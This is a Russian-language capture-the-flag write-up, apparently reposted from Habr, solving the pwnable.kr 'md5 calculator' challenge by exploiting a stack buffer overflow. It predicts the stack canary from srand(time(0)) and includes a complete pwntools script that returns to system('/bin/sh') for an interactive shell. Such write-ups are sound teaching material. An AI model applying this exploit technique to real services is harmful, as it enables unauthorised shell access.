- PVSM.RU - https://www.pvsm.ru -

В данной статье решим 23-е задание с сайта pwnable.kr [1], узнаем, что такое stack canary и подключим libc в python.
Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram [2] и группу для обсуждения любых вопросов [3] в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем [4].
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Канарейки (canary) — это известные значения, которые помещаются между буфером и управляющими данными в стеке для мониторинга переполнения буфера. После переполнения буфера, первыми подлежащими повреждению данными, как правило, будет канарейка. Таким образом, значение канарейки будет проверяться и в случае неудачной проверки сигнализировать о переполнении буфера. Существует три типа канареек:
Продолжаем второй раздел. Скажу сразу, что сложнее первого и нам не предоставляется исходный код приложений. Не забываем про обсуждение здесь [3]. Начнем.
Нажимаем на иконку с подписью md5 calculator. Нам дают адрес и порт для подключения и саму программу.

Скачиваем все что нам дают, проверяем бинарник.

Это 32-битный elf с установленной канарейкой и неисполняемым стеком. Декомпилируем в IDA Pro.

В программе встроена проверка капчи. Видим две функции интересные функции: my_hash() и process_hash(). Начнем с первой.

Давайте переопределим типы переменных и сделаем код более легким для анализа:

Таким образом функция вернет какое-то случайное число. При этом v3 — это данные по адресу EBP-0xC. Давайте глянем другую функцию.

Здесь переменная v4 получает значение по адресу EBP-0xC, а потом ксорится на выходе из функции с этим значением. Далее под переменную v3 выделяется 512 байт, считывается ввод с клавиатуры в переменную g_buf. После чего, строка из g_buf декодируется в Base64 и записывается в v3. От v3 вычисялется md5 хеш. Таким образом, ввод в g_buf и копирование в v3 не ограничиваются, поэтому есть переполнение буфера! Давайте глянем на стек.

Переменная v3 есть стековая канарейка, расположенная после буфера. Также в программе вызывается функция систем. Что же, составим шаблон для эксплоита.
from pwn import *
p = remote('127.0.0.1', 9002)
p.recvuntil('captcha : ')
captcha = int(p.recv())
p.sendline(str(captcha))
p.interactive()
Для начала разберемся в полезной нагрузкой. Мы должны вызвать функция систем с параметром “/bin/sh”. Но так как стек неисполняемый, мы вызовем функцию систем, передав управление на ее адрес в программе, а в качестве параметра — адрес на строку “/bin/sh”, которую мы запишем в g_buf.
Таким образом (смотрим по стеку): Нужно записать 512 байт мусора, потом 4 байта значение канарейки, потом еще 12 байт мусора. Теперь для ret мы должны указать адрес функции system (4 байта), адрес строки “/bin/sh”(4 байта), и сама строка “/bin/sh”.
Теперь найдем неизвестные: адрес вызова system.

Это 0x8049187. И адрес строки “bin/sh”. Для этого нам нужно к адресу g_buf прибавить количество байт до строки “/bin/sh” с учетом кодировки base64 — это 4/3 от исходного значения.

То есть адрес строки: 0x804b0e0 + (512+4+12+4+4+1)*4/3 = 0x804b3ac. Составим полезную нагрузку.
payload = 'A' * 512
payload += p32(canary)
payload += 'A' * 12
payload += p32(0x8049187)
payload += p32(0x804b3ac)
payload = b64e(payload)
payload += "/bin/shx00"
Осталось найти канарейку. Как мы выяснили, она суммируется со случайными значениями в функции my_hash(), что в результате дает нам канарейку. А в качестве семени для функции rand используется srand(time(0)). То есть если сы повторим процедуру в своему експлоите, а потом вычтем из присланного куки сгенерированное значение, мы найдем канарейку. Вызываем rand() из libc в python.
from ctypes import *
import os
import time
libc=CDLL('libc.so.6')
t = int(time.time())
libc.srand(t)
n = [libc.rand() for _ in range(8)]
canary = captcha - n[1] - n[5] - n[2] + n[3] - n[7] - n[4] + n[6]
canary &= 0xffffffff
Все. Полный код выглядит так.
from pwn import *
from ctypes import *
import os
import time
libc=CDLL('libc.so.6')
t = int(time.time())
libc.srand(t)
n = [libc.rand() for _ in range(8)]
p = remote('127.0.0.1', 9002)
p.recvuntil('captcha : ')
captcha = int(p.recv())
p.sendline(str(captcha))
canary = captcha - n[1] - n[5] - n[2] + n[3] - n[7] - n[4] + n[6]
canary &= 0xffffffff
payload = 'A' * 512
payload += p32(canary)
payload += 'A' * 12
payload += p32(0x8049187)
payload += p32(0x804b3ac)
payload = b64e(payload)
payload += "/bin/shx00"
p.sendline(payload)
p.interactive()
Запускал несколько раз и не работало, потом понял, что из-за скорости интернета и разницы времени не совпадает результат rand(). Запустил на сервере.

Получаем искомый флаг. Вы можете присоединиться к нам в Telegram [2].
Автор: RalfHacker
Источник [5]
Сайт-источник PVSM.RU: https://www.pvsm.ru
Путь до страницы источника: https://www.pvsm.ru/python/330109
Ссылки в тексте:
[1] pwnable.kr: https://pwnable.kr/index.php
[2] канал в Telegram: https://t.me/RalfHackerChannel
[3] группу для обсуждения любых вопросов: https://t.me/RalfHackerPublicChat
[4] рассмотрю лично и отвечу всем: https://t.me/hackerralf8
[5] Источник: https://habr.com/ru/post/467485/?utm_source=habrahabr&utm_medium=rss&utm_campaign=467485
Нажмите здесь для печати.